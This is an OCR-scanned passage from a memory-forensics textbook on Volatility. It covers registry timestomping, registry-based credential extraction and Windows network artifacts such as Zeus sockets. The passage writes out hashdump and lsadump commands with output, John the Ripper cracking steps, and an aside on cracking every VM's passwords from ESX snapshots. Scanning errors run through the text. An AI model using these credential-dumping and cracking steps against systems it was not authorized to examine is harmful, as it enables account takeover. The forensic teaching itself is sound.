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Timestomping Registry Keys

It is important to note that registry key timestamps can be overwritten, or “stomped.” This
anti-forensics technique hides objects from timeline-based analysis. Joakim Schicht wrote
a proof-of-concept tool, setrRegTime, to illustrate this capability (see http://code.google
.com/p/mft2csv/wiki/SetRegTime). This tool effectively overwrites desired timestamps in
registry keys by using the Windows API (specifically, Ntset InformationKey). As previously
discussed, because the Windows APl is used, changes are reflected in memory within the
five-second flush time. The following example demonstrates output from the shellbags
plugin after a registry key’s timestamp is overwritten with setrRegTime:

$ python vol.py -f XPSP3x86.vmem --profile=WinXPSP3x86 shellbags

[snip]

Registry: \Device\HarddiskVolumel\Documents and Settings\user\NTUSER.DAT

Key: Software\Microsoft\Windows\ShellNoRoam\Bags\63\Shell
Last updated: 3024-05-21 00:00:00

Value:

File Name:
Modified Date:
Create Date:
Access Date:

File Attribute:

Path:

Value:

File Name:
Modified Date:
Create Date:
Access Date:

File Attribute:

Path:

ItemPos1567x784 (1)
NEWTEX~1.TXT
2012-08-17 14:14:56
2012-08-17 14:14:50
2012-09-25 11:49:38
ARC

New Text Document.txt

ItemPos1567x784 (1)
POISON~1.PY
2012-06-18 19:52:32
2012-08-17 14:15:18
2012-09-25 12:52:10
ARC

poison ivy.py
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The output shows the LastwWriteTime as 3024-05-21 00:00:00, a date clearly in the
future. Notice that this new date doesn’t have any effect on the embedded timestamps in
the Shellbags entries (or any other registry keys with embedded timestamps discussed in
this chapter). With Shellbags entries, you know that you should have at least one embed-
ded timestamp that has the same date as the LastwriteTime, which is obviously not true
in this case. Therefore, if you see LastwWriteTime timestamps that are out of sync with the
values of embedded timestamps, this is an obvious flag that something is wrong with
that key.

If keys without embedded timestamps are chosen for timestomping, and if the new
timestomped dates are within a timeframe that seems normal (for example, not in the year
3024), it is harder for you to discover whether the timestamps of those registry keys were
actually changed. In these cases, you might have to use the timestamps of other system
artifacts, in conjunction with registry key timestamps, to uncover these timestomped
keys. To accomplish this, you can employ the methods discussed in Chapter 18, which
covers creating thorough timelines, to expose such malicious activities.

Dumping Password Hashes

You can dump account password hashes from memory samples using the hashdump plu-
gin. The hashdump plugin uses keys from both the system and sam hives, which are found
automatically using the Registry APL The hashes can then be fed to your hash-cracking
tool to obtain the clear text password. This plugin is a favorite for the offensive commu-
nity, as you can imagine.

As Brendan Dolan-Gavitt explains in his blog (see (http: //moyix.blogspot.com/2008/02/
syskey-and-sam.html), generally two types of password hashes are stored in the sam: the
LanMan (LM) hash and the NT hash. The LM hash, which suffers from some design flaws
that make it easy to crack, is considered obsolete. Thus, it is disabled by default on Windows
Vista, 2008, 7, and 8. It can also explicitly be disabled on Windows XP and 2003 (see http://
www.microsoft.com/security/sir/strategy/default.aspx#!password_hashes)'ThePJT
hash, however, is supported by all modern Windows operating systems. The hashdump
plugin obtains both types of hashes.

The following example demonstrates how to use the hashdump plugin to extract pass-
word hashes:

S python vol.py -f Bob.vmem --profile=WinXPSP3x86 hashdump

Volatility Foundation Volatility Framework 2.4

Administrator:500:e52cac67419a9a2 [snip] : 8846f7eaee8fb117ad06bdd830b7586cC: : :

Guest:501:aad3b435b51404eeaad3b43 [snip] :31d6cfe0d16ae931b73¢c59d7e0c089¢0: ::

[ 1:
HelpAssistant:1000:9f8ac2eaebcd2e [snip] :d95e38al72b3ddaalceOb63bblfselfb: ::
[ 1:

SUPPORT_388945a0:1002:aad3b435b51 [snip] :ad052clcbab3ec2502df165cd25d95bd: :
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After you have obtained the password hashes, you can use a password cracker such
as John the Ripper (http://www.openwall.com/john/), like so:
S john hashes.txt

Loaded 6 password hashes with no different salts (LM DES [128/128 BS SSE2-16])
SUPPORT_388945aO)

(

(Guest)
PASSWOR (Administrator:1)
D (Administrator:2)
[interrupted]

$ john --show hashes.txt
Administrator:PASSWORD:500:8846f7eaee8fbl17ad06bdd830b7586cC: : :
Guest::501:31d6cfe0d16ae931b73¢c59d7e0c089¢c0: : :
SUPPORT_388945a0::1002:ad052clcbab3ec2502df165cd25d95bd: : :

4 password hashes cracked, 2 left

You have the password, but it is in all uppercase letters, which may not be correct.
If you use the community-enhanced “jumbo” version of John (see http://insidetrust
.blogspot.com/2011/Ol/password—cracking—using—john—ripper—jtr.html))KNJCarlobtahl
the proper password, which just happens to be “password” (all lowercase) in this case:

$ john --show --format=LM hashes.txt | grep -v "password hashes" \
| cut -d":" -f2 | sort -u > pass.txt

$ john --rules --wordlist=pass.txt --format=nt hashes.txt

Loaded 4 password hashes with no different salts (NT MD4 [128/128 X2 SSE2-16])

password (Administrator)

guesses: 2 time: 0:00:00:00 DONE (Wed Jan 1 10:40:26 2014) c¢/s: 3400
trying: Password3 - Passwording

Use the "--show" option to display all of the cracked passwords reliably

From an offensive view, this can be quite useful. For example, imagine that you have
obtained access to a VMware ESX server with several virtual machines. You could then
crack the passwords to each of the machines by accessing the snapshot memory files of
each machine. Suddenly your attack space has substantially increased!

Obtaining LSA Secrets

The 1sadump plugin dumps decrypted LSA secrets from the registries of all supported
VVhldOVVSDﬁaChines(http://moyix.blogspot.com/2008/02/decrypting—lsa—secrets.html)
This exposes information such as the default password (for systems with auto-login enabled),
the RDP private key, and credentials used by Data Protection API (DPAPI ). The 1sadump
plugin uses both the sysTem and securITY hives, which are found automatically using the
Registry APL
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Some of the items that you can find in LSA Secrets include these:

$MACHINE.ACC: Domain authentication (http://support .microsoft.com/kb/175468).
DefaultPassword: Password used to log on to Windows when auto-login is enabled.
NLskM: Secret key used to encrypt cached domain passwords (http://moyix
.blogspot.com/2008/02/cached—domain—credentials.html)

L$RTMTIMEBOMB_*: Timestamp giving the date when an unactivated copy of
Windows will stop working.

LSHYDRAENCKEY_*: Private key used for Remote Desktop Protocol (RDP). If you also
have a packet capture from a system that was attacked via RDP, you can extract
the client’s public key from the packet capture and the server’s private key from
memory; then decrypt the traffic.

You can see an example of the 1sadump plugin in action in the following output, which
shows the LSA Secret for the private RDP key:

$ python vol.py -f XPSP3x86.vmem --profile=WinXPSP3x86 lsadump
Volatility Foundation Volatility Framework 2.4

[snip]

L$SHYDRAENCKEY 28ada6da-d622-11d1-9¢cb9-00c04£fbl6e75

0x00000000 52 53 41 32 48 00 00 00 00 02 00 00 3f 00 00 00 RSA2H....... 2.,
0x00000010 01 00 01 00 f1 93 70 67 69 62 de dl aa f0 99 67 ...... pgib..... g
0x00000020 83 bb 95 20 a0 de 05 a7 40 7b 7e 5e a9 d2 f5 bd ........ e{~"
0x00000030 52 37 18 c2 b5 6d f0 78 b3 cc 7e e0 b8 b7 70 01 R7...m.X..~...p.
0x00000040 33 bf fb 3d 75 69 d8 el 84 b4 ab b8 bc 82 63 d9 3..=ul........ c.
0x00000050 17 d3 80 dé6 00 00 00 00 00 00 00 00 4d 40 cd 12  ............ M@. .
0x00000060 <cl 18 93 a6 ec a8 99 03 cb f7 76 ab bb 6d e8 63  .......... V..m.c
[snip]

In the following output, you can see the LSA Secrets for the pefaultpassword and
DPAPI_SYSTEM:

$ python vol.py -f Win7SP1x64.raw --profile=Win7SP1x64 lsadump
Volatility Foundation Volatility Framework 2.4

DefaultPassword

0x00000000 00 00 00 01 7e a3 eb 47 10 31 8b 1f 6b 54 65 5c co..~..G.1. .kTe\
0x00000010 23 67 bl dd 03 00 00 00 00 00 00 00 3b 7e b7 96 #g. ..ol P~
0x00000020 d5 98 fa 71 32 24 24 b5 92 a0 8a cb 40 43 b5 24 LLLg28S. ... @C.s
0x00000030 19 90 dd e3 15 96 f4 34 4e 8b 75 ea a0 49 b4 4f ....... 4N.u..I.O
0x00000040 08 eb 90 ec e3 0a 7c 3d c7 87 £7 ef 3f 8a 5f ad ...... [=....2.

0x00000050 «c¢1 d7 £2 8f 01 99 98 c3 el 8e 97 ¢c9 ...,

DPAPI_SYSTEM

0x00000000 00 00 00 01 7e a3 eb 47 10 31 8b 1f 6b 54 65 5c c...~..G.1..kTe\
0x00000010 23 67 bl dd 03 00 00 00 00 00 00 00 2b 04 ff 76 #g.... ... +..V
0x00000020 30 d3 c5 53 7b 8c 98 15 92 9b ab ec 68 83 7e cd 0..S{ ....... h.~.

0x00000030 f8 f8 17 6b ba 6a 68 f2 28 57 17 la 89 1d £f7 fd Lockejho(we ol
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0x00000040 e9 97 32 fc a3 61 ce bc al 3c 95 b6 d2 11 9b 98 L2080 <o

0x00000050 77 10 c9 fd 95 86 60 09 68 83 9f b0 38 ff 01 3c W..... “.h...8..<

0x00000060 30 04 b5 47 8d eb 8c 85 2b 69 03 1b 60 67 9c 34 0..G....+1..7g.4

0x00000070 fa a5 0d 1f b5 eb 88 ea 82 92 28 40 ..., (@
Summary

The registry is a core component of the Windows operating system and thus an impor-
tant aspect of most digital investigations. Memory forensics enables an investigator to
access the volatile parts of the registry that cannot be found on disk and discover registry
modifications that may never get written back to disk. While an investigator can access
cached versions of the traditional registry data that is typically stored within the file
system, Volatility’s ability to analyze memory-resident registry artifacts introduces a new
realm of analysis that isn't possible with disk forensics. When you combine that power
with structured analysis of the embedded data in Userassist, Shellbags, and Shimcache
keys, you gain the ability to track many aspects of user activity. Additionally, by query-
ing registry data in a memory dump, you can quickly locate malware persistence, cached
passwords, and more!






Imost all malware has some sort of networking capability, whether the purpose

is to contact a command and control server, spread to other machines, or create a
backdoor on the system. Because the Windows OS must maintain state and pass packets
it receives to the correct process or driver, it is no surprise that the involved API functions
result in the creation of significant artifacts in memory. Additionally, attackers, whether
remote or local, inevitably leave traces of their network activities in web browser histories,
DNS caches, and so on.

This chapter provides you with an understanding of how network artifacts are created
in memory and which factors are most important to your investigation. Also, you learn the
significance of Microsoft fully redesigning the TCP/IP stack starting with Windows Vista;
and you'll explore two undocumented methods of recovering sockets and connections
from memory dumps. Furthermore, you’ll discover why responding quickly to potential
incidents is paramount, and why correlating network-related evidence in memory with
external data sources such as packet captures and firewall/proxy/IDS logs is invaluable.

Network Artifacts

The two primary types of network artifacts are sockets and connections. Sockets define
endpoints for communications. Applications create client sockets to initiate connections
to remote servers and they create server sockets to listen on an interface for incoming
connections. You have a few ways to create these sockets:

Direct from user mode: Applications can call the socket function from the
Winsock2 API (ws2 32.4d11).

Indirect from user mode: Applications can call functions in libraries such as
WinlINet (wininet.d11), which provide wrappers around the Winsock?2 functions.
Direct from kernel mode: Kernel drivers can create sockets through the use of the
Transport Driver Interface (TDI), which is the primary interface to the transport
stack used by higher-level components such as Winsock?2.
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Windows Sockets APl (Winsock)

When an application calls socket, it passes the following information:

An address family (ar_1NET for IPv4, aF_1NET6 for IPv6)
A type (SOCK_STREAM, SOCK_DGRAM, SOCK_RAW)
A protocol (IPPROTO_TCP, IPPROTO_UDP, IPPROTO_IP, IPPROTO_ICMP)

After an application calls socket, the socket isn’t ready for use. Servers must supply
the local address and port when calling bind and 1isten. Likewise, clients must supply
the remote address and port when calling connect (bind is optional for clients). A socket
cannot work until it knows the IP and port. Therefore, it makes sense that the _Appress_
oBJECT (the name of the structure that represents socket objects) is allocated after the call
to bind or connect rather than after the call to socket.

NOTE

Many structure names in this chapter, including _Appress_oBJEcT, are not Microsoft
names. Because they’re undocumented, we came up with reasonable-sounding names
for them.

Figure 11-1 shows the sequence of API calls required to create a simple TCP server, and
the relationship between those APIs and the artifacts in memory. Figure 11-2 shows the same
relationship for a TCP client. For the entire source code, see the Windows sockets reference
on MSDN (http ://msdn.microsoft.com/en-us/library/ms740673%28VS.85%29. aspx).

The figures show the following;:

The server and client both start out with a call to socket, which causes the call-
ing process to open a handle to \Device\afd\Endpoint. This handle enables the
user mode process to communicate with afd.sys in kernel mode, which is the
Auxiliary Function Driver for Winsock2. This is not an optional handle; it must
remain open for the duration of the socket’s lifetime, or else the socket will
become invalid.
The server calls bind (this is optional for the client), which results in the following
artifacts. Note that the server also calls 1isten, which doesn’t create new artifacts.
The calling process opens a handle to \Device\Tcp, \Device\Udp, Or \Device\
Ip, depending on the protocol specified in the call to socket.
Memory is allocated in the kernel for an _aADDRESS_0BJECT structure, and its
members are filled in according to the parameters sent to socket and bind.
The client calls connect, which results in the same artifacts as discussed previously,
in addition to the allocation of a _TcpT_oBJECT (i.e., connection object). For every
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connection established with a client (when accept returns), the server process
will also become associated with a _TcpT oBJECT and a new set of handles. These

artifacts exist until the applications call closesocket, at which time the handles are
closed and the objects are released.

socket()

\Device\Afd\Endpoint handle opened

A
bind()

_ADDRESS_OBJECT created

\Device\Tcp handle opened

accept()

\Device\Afd\Endpoint handle opened

\Device\Tcp handle opened *
\
_TCPT_OBJECT created \

T \
1 ‘I
! i Closes the accepted socket
! .'

recv() ;

T closesocket()

\

\\\ \Device\Afd\Endpoint handle closed

\Device\Tcp handle closed

RN 1- -7 _TCPT_OBJECT released

Closes the
listening socket

closesocket()

\Device\Afd\Endpoint handle closed

\Device\Tcp handle closed

_ADDRESS_OBJECT released

Figure 11-1: The relationship between socket APIs and the artifacts they create
in memory (server side)
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socket()

\Device\Afd\Endpoint handle opened

Y

connect()

_ADDRESS_OBJECT created

\Device\Tcp handle opened

_TCPT_OBJECT created

send()

recv()

Y

closesocket()

\Device\Afd\Endpoint handle closed

\Device\Tcp handle closed

_ADDRESS_OBJECT released

_TCPT_OBJECT released

Figure 11-2: The relationship between socket APIs
and the artifacts they create in memory (client side)

NOTE

The act of releasing an object does not mean the memory for the object is immedi-
ately overwritten. Thus, you can find traces of prior objects in freed or de-allocated
memory long after the sockets have been used. This is discussed in more detail later
in the chapter.



Networking 313

Now that you have an understanding of how and when different network artifacts are
created in memory, you'll move on to see how to locate them in memory dumps and the
types of conclusions you can draw during an investigation.

Analysis Objectives

Your objectives are these:

Identify rogue listeners: Learn to distinguish between legitimate server sockets
and those that are being used to accept incoming connections from attackers. In
some cases, the line may be thin—for example, if a file server is listening on port 21
(FTP), that is expected; but if it hosted documents that were stolen or if it allowed
the machine to be compromised due to a vulnerability in the FTP server’s code, it
quickly becomes a bigger part of your investigation.

Reveal suspicious remote connections: One of the most common ways investigators
leverage network artifacts in memory is to analyze the remote connections. Did a
particular process on the system access a TCP port on a server in a foreign country?
Was an employee using a TOR client to browse the web? Is malware communicat-
ing with its command and control using a real-time chat protocol such as Jabber or
IRC? Are any of the remote IPs on blacklists or flagged by IP-reputation services?
Locate systems with promiscuous network cards: You can examine the sockets in
the memory of a suspect machine and determine if one of its network cards is in
promiscuous mode. This means you can detect machines on your networks that
may be attempting to sniff traffic to/from other systems or to perform man-in-
the-middle attacks.

Detect hidden ports on live systems: Many rootkits filter ports and IP addresses by
hooking APIs on live systems. Because memory forensics doesn’t rely on the operating
system’s APIs, the hooks are easily visible and have no effect. Thus, by comparing the
data available to you via the Windows API on a live machine with what Volatility sees
in the machine’s RAM, the network activity being hidden can be revealed.
Reconstruct browser history: Learn how to determine which URLs a browser (or
malware sample using the browser’s API) visited on the suspect machine. If history
files are deleted from disk, there’s still a chance you can find the cached records
in memory, along with information such as the last accessed timestamps, size of
data returned by web servers, and even the HTTP response headers.
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Data Structures (XP and 2003)

The _apprEss_oBJecT and _TcPT_OBJECT structures are undocumented by Microsoft, but
many people have reverse-engineered them in the past. Here are the variations used
within the Volatility framework for 64-bit Windows XP and Server 2003 systems.

>>> dt ("_ADDRESS_OBJECT")
' ADDRESS_OBJECT'

0x0 : Next ['pointer', [' ADDRESS OBJECT']]
0x58 : LocalIpAddress ['IpAddress']

0x5c : LocalPort ['unsigned be short']

0x5e : Protocol ['unsigned short']

0x238 : Pid ['unsigned long']

0x248 : CreateTime ['WinTimeStamp', {'is utc': True}]

>>> dt("_TCPT OBJECT")
'_TCPT OBJECT'

0x0 : Next ['pointer', ['_ TCPT _OBJECT']]
0x14 : RemoteIpAddress ['"IpAddress']
0x18 : LocalIpAddress ['IpAddress']
0xlc : RemotePort ['unsigned be short']
Oxle : LocalPort ['unsigned be short']
0x20 : Pid ['unsigned long']
Key Points

The key points are these:

Next: A pointer to the next object, thus creating a singly linked list of entries. The
terminating entry has a Next value of zero. This field can be used to enumerate
active sockets and connections.

LocalIpAddress: The local IP address, in packed (integer) format. This address can
be 0.0.0.0 if a socket is listening on all IPs.

Localport: The local port (big endian).

Protocol: The IP pI‘OtOCOl number (see http://www.iana.org/assignments/
protocol -numbers/protocol -numbers .xhtml). This member is unnecessary for _TCP
_OBJECT because those structures are only for TCP, by definition.

pid: The process ID (PID) of the process that opened the socket or created the
connection.

createTime: A UTC timestamp (sockets only) indicating when the socket was
created.

RemotePort: The remote port (connections only) in big endian format.
RemoteIpAddress: The remote IP address (connections only) in packed (integer)
format.
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Active Sockets and Connections

The operating system maintains active sockets and connections by using a chained-
overflow hash table, which consists of singly linked lists (see Chapter 2). Thus, one way
to enumerate the existing sockets on the system is to find and walk all entries in the hash
table. You treat each nonzero entry as the start of a singly linked list of _ADDRESS_OBJECT
structures, and follow the Next pointers until reaching the end of the list (indicated by a
Next value of zero). Likewise, you could do the same thing with the _TcpT_oBgEcr list to
enumerate the open connections on a system.

In fact, this is how the sockets and connections plugins in Volatility work. For
either command, Volatility finds the tcpip.sys module in kernel memory and locates
a non-exported, global variable in its data section. For sockets, the variable that
Volatility finds is named _addrobjTable, which stores a pointer to the first _ADDRESS
_oBJEcT entry. For connections, it finds a variable named _tcBTable, which stores a
pointer to the first _TcpT_orsecT entry. Figure 11-3 shows a diagram of the enumera-
tion procedure.

tcpip.sys
PE Header Hash Tables
0 _ADDRESS_OBJECT list
0 | |
Pointer —> | Next |—> | 0 |
text 0 T T
_AddrObjTable
.data

_TCBTable

0 | |
Pointer —> | Next |—> | 0 |
rsrc
’ 0 ] ]

...... _TCPT_OBJECT list

Figure 11-3: Diagram of locating the socket and connection objects in memory on XP and 2003
systems
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The following command shows an example of using Volatility to print the sockets of
a memory dump infected with Zeus malware:

S python vol.py sockets -f zeus.bin --profile=WinXPSP3x86
Volatility Foundation Volatility Framework 2.4

PID Port Proto Protocol Address Create Time
1156 1900 17 UDP 192.168.128.128 2008-12-11 20:51:52
892 19705 6 TCP 0.0.0.0 2009-02-12 03:38:14
740 500 17 UDP 0.0.0.0 2008-09-18 05:33:19
4 139 6 TCP 192.168.128.128 2008-12-11 20:51:51
4 445 6 TCP 0.0.0.0 2008-09-18 05:32:51
972 135 6 TCP 0.0.0.0 2008-09-18 05:32:59
4 137 17 UDP 192.168.128.128 2008-12-11 20:51:51
1320 1029 6 TCP 127.0.0.1 2008-09-18 05:33:29
1064 123 17 UDP 127.0.0.1 2008-12-11 20:51:52
740 0 255 Reserved 0.0.0.0 2008-09-18 05:33:19
1112 1025 17 UDP 0.0.0.0 2008-09-18 05:33:28
1112 1033 17 UDP 0.0.0.0 2008-09-18 05:42:19
4 138 17 UDP 192.168.128.128 2008-12-11 20:51:51
892 35335 6 TCP 0.0.0.0 2009-02-12 03:38:14
1112 1115 17 UDP 0.0.0.0 2008-12-11 18:54:24
1064 123 17 UDP 192.168.128.128 2008-12-11 20:51:52
892 1277 6 TCP 0.0.0.0 2009-02-12 03:38:15
1156 1900 17 UDP 127.0.0.1 2008-12-11 20:51:52
740 4500 17 UDP 0.0.0.0 2008-09-18 05:33:19
1064 1276 17 UDP 127.0.0.1 2009-02-12 03:38:12
1064 1275 17 UDP 192.168.128.128 2009-02-12 03:38:12
4 445 17 UDP 0.0.0.0 2008-09-18 05:32:51

In the output, you can see the process ID of the owning process, port, protocol, and
creation time. Let’s begin the analysis by looking at the entry in bold at the top, show-
ing that a process with PID 892 is using TCP port 19705. Because an _ADDRESS_OBJECT is
allocated for client and server sockets, you cannot tell whether the process is listening for
incoming connections on TCP port 19705 or whether the process just established a TCP
connection with a remote endpoint (for example, memoryanalysis.net:80) using 19705 as
the source port.

One thing you know, however, is that ports below 1025 are typically reserved for serv-
ers. Ports above 1025 could be either ephemeral (e.g., short-lived) client ports or server
ports for applications that do not have the required privileges to bind to ports in the
lower ranges. Of course, there are always exceptions (such as Remote Desktop Protocol
[RDP], which binds to TCP 3389 even if it has admin privileges). Thus, you'll need more
information to distinguish the purpose of the TCP socket using port 19705.

Let’s continue with what you know about ephemeral client ports: They increase by one
until reaching the maximum (which varies, see the upcoming Note), at which point they
wrap back around to 1025. If TCP 19705 happens to be a client socket, other processes on
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the system that created client sockets within a few seconds would be assigned a value
close to 19705. Let’s place all the sockets created within the same time period in order
based on the creation time and see whether any evidence supports our theory:

PID Port Proto Protocol Address Create Time

1064 1276 17 UDP 127.0.0.1 2009-02-12 03:38:12
1064 1275 17 UDP 192.168.128.128 2009-02-12 03:38:12
892 19705 6 TCP 0.0.0.0 2009-02-12 03:38:14
892 35335 6 TCP 0.0.0.0 2009-02-12 03:38:14
892 1277 6 TCP 0.0.0.0 2009-02-12 03:38:15

At 03:38:12, the system assigned ports 1275 and 1276 to a process with PID 1064. Three
seconds later, at 03:38:15, the system assigned port 1277 to a process with PID 892. In
between these events, at 03:38:14, you see sockets created with the extremely far-off num-
bers 19705 and 35335. This pattern indicates that the sockets with ports 1275, 1276, and
1277 are probably ephemeral client sockets, and sockets with ports 19705 and 35335 are
server sockets. Furthermore, because the first two client sockets are using UDP, they may
be involved in making DNS requests.

NOTE

The actual ranges of ephemeral client ports vary between operating system versions.
You can also configure the ranges manually by editing the registry. For more infor-
nﬁaﬁon,Seehttp://www.ncftp.com/ncftpd/doc/misc/ephemeral_ports.html#Windows

You can investigate further by determining which processes are using these sockets and
whether there are any active connections. The following output shows that the sockets in
question were created by two different instances of svchost . exe and that TCP 1277 is, in
fact, a client socket that is connected to port 80 of XX.XX.117.254 (an address in Ukraine).
Note: XX indicates redacted values.

$ python vol.py -f zeus.vmem --profile=WinXPSP3x86 pslist | grep 892
Volatility Foundation Volatility Framework 2.4
Name PID PPID Thds Hnds Sess Start

svchost .exe 892 728 26 294 0 2008-09-18 05:32:58

$ python vol.py -f zeus.vmem --profile=WinXPSP3x86 pslist | grep 1064
Volatility Foundation Volatility Framework 2.4
Name PID PPID Thds Hnds Sess Start

svchost .exe 1064 728 62 1235 0 2008-09-18 05:32:59

317
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S python vol.py -f zeus.vmem --profile=WinXPSP3x86 connections
Volatility Foundation Volatility Framework 2.4
Offset (V) Local Address Remote Address Pid

0x8leba510 192.168.128.128:1277 XX.XX.117.254:80 892

As you learned in Chapter 8, certain malware, including Zeus, injects code into other
processes to remain stealthy. You can see the effect of the code injection and how it makes
svchost . exe appear responsible for Zeus’ network-related activities. Although there are
no active connections for the TCP 19705 and TCP 35335 sockets, it’s probably just because
the attackers were not actively connected at the time of the memory acquisition or the
infected system was behind a firewall and unreachable from the Internet.

Attributing Connections to Code

Although we've solved many pieces of the puzzle at this point, some questions remain
unanswered. For example, what is the purpose of the listening TCP sockets? Do they
provide a remote command shell or a SOCKS proxy that the attackers can use to route
connections through the infected machine into other systems on the internal network?
These are questions that you must answer by extracting the malicious code from the
memory dump and analyzing it statically. However, finding the exact code segment that
initiated a connection can be tricky.

We suggest first trying to determine whether the main process executable (the . exe) is
malicious. If so, you can dump the process (the procdump plugin) and start reverse engi-
neering from there. Examine the import address table (LAT) and follow cross-references
to the socket, connect, and send APIs. That procedure typically leads you straight to the
functions that handle networking.

If the main process seems legitimate (for example, it is explorer.exe Or svchost.exe),
maybe it has been the victim of code injection. In this case, you can perform a scan through
the process’ memory looking for injected code blocks (e.g., using the ma1find plugin) or
for specific criteria related to the connection in question—such as part of a URL or a DNS
hostname. You can perform these scans with the yarascan plugin, as shown in the fol-
lowing output. Assume the IP address (XX.XXX.5.140) was extracted from firewall logs
on the victim system’s network.

$ python vol.py -f memory.raw yarascan --profile=WinXPSP3x86

-p 3060 -W -Y "XX.XXX.5.140"

Volatility Foundation Volatility Framework 2.4

Rule: rl

Owner: Process ab.exe Pid 3060

0x5500e9ae XX 00 XX 00 2e 00 XX 00 XX 00 XX 00 2e 00 35 00 X.X...X.X.X...5.

0x5500e9be 2e 00 31 00 34 00 30 00 3a 00 38 00 30 00 38 00 ..1.4.0.:.8.0.8.
0x5500e9ce 30 00 2f 00 7a 00 62 00 2f 00 76 00 5f 00 30 00 0./.z.b./.v. .0.
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0x5500e9de 31 00 5f 00 61 00 2f 00 69 00 6e 00 2f 00 00 00 1. .a./.i.n./...

Searching for the substring xx.xxx.5.140 led to an instance of xx.xxx.5.140:8080/
zb/v_01_a/in/ at address 0x5500e9ae, which certainly looks like part of a URL. If you
perform a reverse lookup with d111ist, you'll notice that this address range is inside a
DLL named ab.d11 that starts at 0x55000000.

$ python vol.py -f memory.raw yarascan --profile=WinXPSP3x86

-p 3060 dlllist
Volatility Foundation Volatility Framework 2.4
Khkhkkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhhkhkdkhkhhkhkhkhkdhhkhkhkdhkhdkhkdhkhhkhkdkhkhhkhkdkhkdhkhkdkhkdkhkhkdkkdhhkhkdxx
ab.exe pid: 3060
Command line : "C:\WINDOWS\system32\ab.exe"
Service Pack 2

Base Size LoadCount Path

0x00400000 0x21000 Oxffff C:\WINDOWS\system32\ab.exe
0x7c900000 0xb0000 oxffff C:\WINDOWS\SyStem32\ntdll.dll
0x7c800000 0xf4000 Oxffff C:\WINDOWS\system32\kernel32.dll
0x77d40000 0x90000 Oxffff C:\WINDOWS\system32\USER32.d1l1l
0x77£10000 0x46000 Oxffff C:\WINDOWS\system32\GDI32.d1ll
0x77¢10000 0x58000 Oxffff C:\WINDOWS\system32\msvert.dll
0x55000000 0x33000 0x1 C:\WINDOWS\system32\ab.dll
0x77dd0000 0x9b000 0x14 C:\WINDOWS\SyStem32\advapi32.dll
0x77e70000 0x91000 0xb C:\WINDOWS\system32\RPCRT4.d1ll
0x71ab0000 0x17000 0x1 C:\WINDOWS\system32\WS2 32.d11
0x71aa0000 0x8000 0x1 C:\WINDOWS\system32\WS2HELP.dl1l
0x77£60000 0x76000 0x3 C:\WINDOWS\system32\SHLWAPI.dll
0x7c9c0000 0x814000 0x1 C:\WINDOWS\System32\SHELL32.dll
0x5d090000 0x97000 0x1 C:\WINDOWS\SyStem32\Comctl32.dll
0x77040000 0x22000 0x1 C:\WINDOWS\system32\Apphelp.dll
0x77c00000 0x8000 0x1 C:\WINDOWS\system32\VERSION.dll

At this point, you can extract the DLL with dl11dump and analyze it in the same way
as an executable. Unfortunately, however, strings don’t always map back to DLLs. It all
depends on how the malware was designed. Instead of planting a plain-text URL in the
binary, it may be decoded at run time and copied to the heap or another virtually allo-
cated memory block in the process’ space. Consider the next example, in which you find
an interesting URL at 0x75d82438 by simply searching for http:

$ python vol.py -f jack.mem --profile=Win7SP0x86 yarascan
-p 3030 --wide -Y "http"
Volatility Foundation Volatility Framework 2.4
Rule: rl
Owner: Process jack.exe Pid 3030
0x75d82438 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 XX 00 h.t.t.p.:./
0x75d82448 XX 00 XX 00 2e 00 31 00 33 00 34 00 2e 00 31 00 X.X...1.3.4...
0x75d82458 37 00 36 00 2e 00 31 00 32 00 36 00 2f 00 65 00 7.6...1.2.6
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0x75d82468 78 00 69 00 73 00 74 00 73 00 2f 00 50 00 61 00 x.i.s.t.s./.P.a.
Rule: ril
Owner: Process jack.exe Pid 3030

0x76c02552 68 00 74 00 74 00 70 00 20 00 65 00 72 00 72 00 h.t.t.p...e.r.xr
0x76c02562 6f 00 72 00 73 00 00 00 90 90 55 00 72 00 6c 00 O.r.S..... U.r.1l
0x76c02572 45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 E.n.c.o.d.i.n.g
0x76c02582 00 00 45 00 6e 00 61 00 62 00 6c 00 65 00 64 00 E.n.a.b.l.e.d

[snip]

Upon further investigation, the 0x75d82438 address is not within any loaded DLLs. The
presence of the URL at this location doesn't tell you any more about the actual purpose of
the connection than seeing the corresponding IP address (XXX.134.176.126) in the output
of the sockets or connections plugins. You do have some useful information, however.
And tedious as it may be, with this process you can sometimes have good success by
searching for pointers to the referenced address. Before doing so, you must convert the
integer 0x75d82438 to individual bytes and ensure that theyre in the appropriate order
for the target operating system. Because we're investigating Windows, which is typically
running on little endian hardware, the search criteria looks like this:

$ python vol.py -f jack.mem --profile=Win7SP0x86 yarascan

-p 3030 -Y "{38 24 d8 75}"
Volatility Foundation Volatility Framework 2.4

Rule: rl

Owner: Process jack.exe Pid 3030

0x75d47500 38 24 d8 75 ff b5 64 ff ff f£ff e8 da 37 00 00 85 8$.u..d..... 7...
0x75d47510 <c0 75 27 8b 03 53 ff b5 68 ff ff ff 89 85 60 ff .u'. .S he. T
0x75d47520 ff f£f 68 38 24 d8 75 e8 31 c¢7 fe ff 89 85 6c ff ..h8s.u.1..... 1.
0x75d47530 ff ff 85 cO0 0f 8c 4a e2 01 00 6a 00 57 ff de 83  ...... J...J.W...

According to the output, there appears to be a pointer to 0x75d82438 saved at address
0x75d47500. You can then disassemble code around the saved pointer to see how it’s being
used. Note that a few bytes were subtracted to show instructions both before and after
the 0x75d47500 address.

$ python vol.py -f jack.mem --profile=Win7SP0x86 volshell -p 3030
Volatility Foundation Volatility Framework 2.4

Current context: process jack.exe, pid=3030, ppid=2340 DTB=0x1f441380
Welcome to volshell!

To get help, type 'hh()'

>>> dis (0x75d474£0)

0x75d474£0 39058422d875 CMP [0x75d82284], EAX
0x75d474f6 7542 JNZ 0x75d4753a
0x75d474£8 a900100000 TEST EAX, 0x1000
0x75d474fd 753b JNZ 0x75d4753a
0x75d474ff 683824d875 PUSH DWORD 0x75d82438
0x75d47504 ffbS5e4ffffff PUSH DWORD [EBP-0x9c]
0x75d4750a €8da370000 CALL 0x75d4ace9

0x75d4750f 85c0 TEST EAX, EAX
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[snip]

>>> dis(0x75d4ace9)

0x75d4ace9 8bff MOV EDI, EDI
0x75d4aceb 55 PUSH EBP

0x75d4acec 8bec MOV EBP, ESP
0x75d4acee 8b4d08 MOV ECX, [EBP+0x8]
0x75d4acfl 8b550c MOV EDX, [EBP+0xc]
